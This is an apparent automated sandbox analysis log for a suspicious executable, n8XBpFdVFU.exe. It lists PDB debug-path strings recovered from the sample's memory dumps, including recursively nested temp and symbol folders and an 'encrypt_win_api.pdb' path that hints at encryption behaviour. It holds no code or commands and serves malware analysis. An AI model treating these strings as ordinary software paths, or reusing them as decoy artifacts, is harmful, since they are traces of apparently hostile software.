Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2107669929.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100449175.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099552350.0000000003302000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099666468.000000000330B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099767996.000000000333B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: n8XBpFdVFU.exe, 00000004.00000003.2080589086.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078778292.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077342220.0000000003327000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\8_LRK source: n8XBpFdVFU.exe, 00000004.00000003.2080589086.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078778292.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099552350.0000000003302000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077342220.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099666468.000000000330B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068684614.000000000333F000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2070809171.000000000333F000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099767996.000000000333B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .LOGUser.datntkrnlmp.pdb source: n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\e\* source: n8XBpFdVFU.exe, 00000004.00000003.2060155956.0000000009C4A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059155439.0000000009C41000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060662820.0000000009C5E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\D source: n8XBpFdVFU.exe, 00000004.00000003.2120007475.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113577525.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2122985442.0000000003312000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120700957.000000000330B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2106068116.00000000033C9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2116466525.00000000033DE000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115561835.00000000033C5000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113856909.00000000033C5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: n8XBpFdVFU.exe, n8XBpFdVFU.exe, 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\p\\ source: n8XBpFdVFU.exe, 00000004.00000003.2120300375.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2123442279.0000000003186000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\ source: n8XBpFdVFU.exe, 00000004.00000003.2129691380.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142264228.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2143858841.000000000335B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\bat\ source: n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035333200.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034827910.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\S source: n8XBpFdVFU.exe, 00000004.00000003.2145077667.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145361996.0000000003441000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2144578065.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145621566.0000000003442000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.bgjs source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: n8XBpFdVFU.exe, 00000004.00000003.2069103439.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078426315.00000000030FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2058766798.0000000009BF7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059155439.0000000009C10000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: n8XBpFdVFU.exe, 00000004.00000003.1722364769.00000000097C0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\sicifepuxu\zebusecasa\xotagepidu83 jibone71-katavuzu xuwasij.pdb source: n8XBpFdVFU.exe, 00000000.00000002.1626387788.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000000.00000000.1620679791.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000001.00000000.1623855777.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000003.00000002.1648163427.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000003.00000000.1642852442.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000004.00000000.1645308199.0000000000412000.00000002.00000001.01000000.00000003.sdmp, n8XBpFdVFU.exe, 00000005.00000002.1659172326.0000000000412000.00000002.00000001.01000000.00000007.sdmp, n8XBpFdVFU.exe, 00000005.00000000.1652880246.0000000000412000.00000002.00000001.01000000.00000007.sdmp, n8XBpFdVFU.exe, 00000006.00000000.1656034893.0000000000412000.00000002.00000001.01000000.00000007.sdmp, n8XBpFdVFU.exe, 0000000A.00000000.1731729893.0000000000412000.00000002.00000001.01000000.00000007.sdmp, n8XBpFdVFU.exe, 0000000A.00000002.1740704301.0000000000412000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ies\rF source: n8XBpFdVFU.exe, 00000004.00000003.2108558652.0000000003323000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113577525.00000000032EB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115829610.000000000334B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2105798213.0000000003303000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: n8XBpFdVFU.exe, 00000000.00000002.1629177659.0000000005E20000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000001.00000002.1645209614.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000003.00000002.1650428416.0000000005DE0000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2146874801.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000005.00000002.1661649281.0000000005EA0000.00000040.00001000.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000006.00000002.2878939305.0000000000400000.00000040.00000400.00020000.00000000.sdmp, n8XBpFdVFU.exe, 0000000F.00000002.2010470416.0000000005E20000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\n source: n8XBpFdVFU.exe, 00000004.00000003.2120300375.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2123442279.0000000003186000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\te\` source: n8XBpFdVFU.exe, 00000004.00000003.2116663063.0000000003160000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2114769171.000000000315A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101887077.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2058766798.0000000009BF7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000002.2148373232.00000000030FF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2060898935.00000000030FC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2107929624.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035333200.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2109267991.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2129516591.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115238647.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059155439.0000000009C10000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2069103439.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059760801.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121612669.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101796621.00000000030F7000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099907699.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034827910.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078426315.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142226856.00000000030FD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142702841.00000000030FF000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2141980062.00000000030F3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\` source: n8XBpFdVFU.exe, 00000004.00000003.2071451978.0000000009B69000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2068315999.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2079966122.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2071182867.0000000009B5C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009B5E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078105087.0000000009B69000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\*s source: n8XBpFdVFU.exe, 00000004.00000003.2106510342.0000000009B6C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2100109727.0000000009B69000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2108897875.0000000009BBB000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101405775.0000000009B6C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2109151039.0000000009BD3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\yewy\-1 source: n8XBpFdVFU.exe, 00000004.00000003.2144827075.0000000003172000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142123470.0000000003172000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\input\es-PA\od.pdb\we\ source: n8XBpFdVFU.exe, 00000004.00000003.2145077667.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145361996.0000000003441000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2144578065.0000000003431000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2145621566.0000000003442000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2113856909.000000000343C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124277785.0000000003421000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124074447.000000000341E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121667319.00000000033A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\ source: n8XBpFdVFU.exe, 00000004.00000003.2068315999.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2071182867.0000000009B5C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2071336604.0000000009BD7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\$?![ source: n8XBpFdVFU.exe, 00000004.00000003.2106068116.00000000033C9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2116466525.00000000033DE000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2115561835.00000000033C5000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2113856909.00000000033C5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\1 source: n8XBpFdVFU.exe, 00000004.00000003.2069198746.0000000009AAC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2069697484.0000000009AB5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\% source: n8XBpFdVFU.exe, 00000004.00000003.2009335239.0000000009A9E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\he\ source: n8XBpFdVFU.exe, 00000004.00000003.2060155956.0000000009C4A000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2059155439.0000000009C41000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb39763.txt source: n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\' source: n8XBpFdVFU.exe, 00000004.00000003.2142420963.0000000009B5B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142553306.0000000009B64000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2141852209.0000000009B54000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\t1 source: n8XBpFdVFU.exe, 00000004.00000003.2144827075.0000000003172000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2142123470.0000000003172000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\y\. source: n8XBpFdVFU.exe, 00000004.00000003.2078347231.00000000032AA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\20\I source: n8XBpFdVFU.exe, 00000004.00000003.2124277785.0000000003421000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2124074447.000000000341E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2121667319.00000000033A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2068232540.0000000009C52000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077545355.0000000009C61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035333200.00000000030F9000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034827910.00000000030F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\\ic source: n8XBpFdVFU.exe, 00000004.00000003.2121667319.0000000003373000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2120515722.0000000003362000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: n8XBpFdVFU.exe, 00000004.00000003.2101356229.0000000003342000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2080589086.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2078778292.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2101753875.000000000335B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099552350.0000000003302000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2077342220.0000000003327000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099666468.000000000330B000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2099767996.000000000333B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\H source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\pData\ source: n8XBpFdVFU.exe, 00000004.00000003.2110021530.0000000009B50000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2106306318.0000000009ABD000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2108149637.0000000009B42000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2107832891.0000000009AF9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\* source: n8XBpFdVFU.exe, 00000004.00000003.2099182801.0000000009C61000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2109105130.0000000009C82000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2106911528.0000000009C61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: n8XBpFdVFU.exe, 00000004.00000003.2009658733.00000000030F2000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ta source: n8XBpFdVFU.exe, 00000004.00000003.2010121041.000000000314E000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007505682.0000000003141000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\Er source: n8XBpFdVFU.exe, 00000004.00000003.2077623471.0000000009AD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\B source: n8XBpFdVFU.exe, 00000004.00000003.2033920150.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034611889.0000000009BEC000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2009799184.0000000009B5D000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2007157412.0000000009B3C000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2034364714.0000000009B54000.00000004.00000020.00020000.00000000.sdmp, n8XBpFdVFU.exe, 00000004.00000003.2035113257.0000000009BEF000.00000004.00000020.00020000.00000000.sdmp
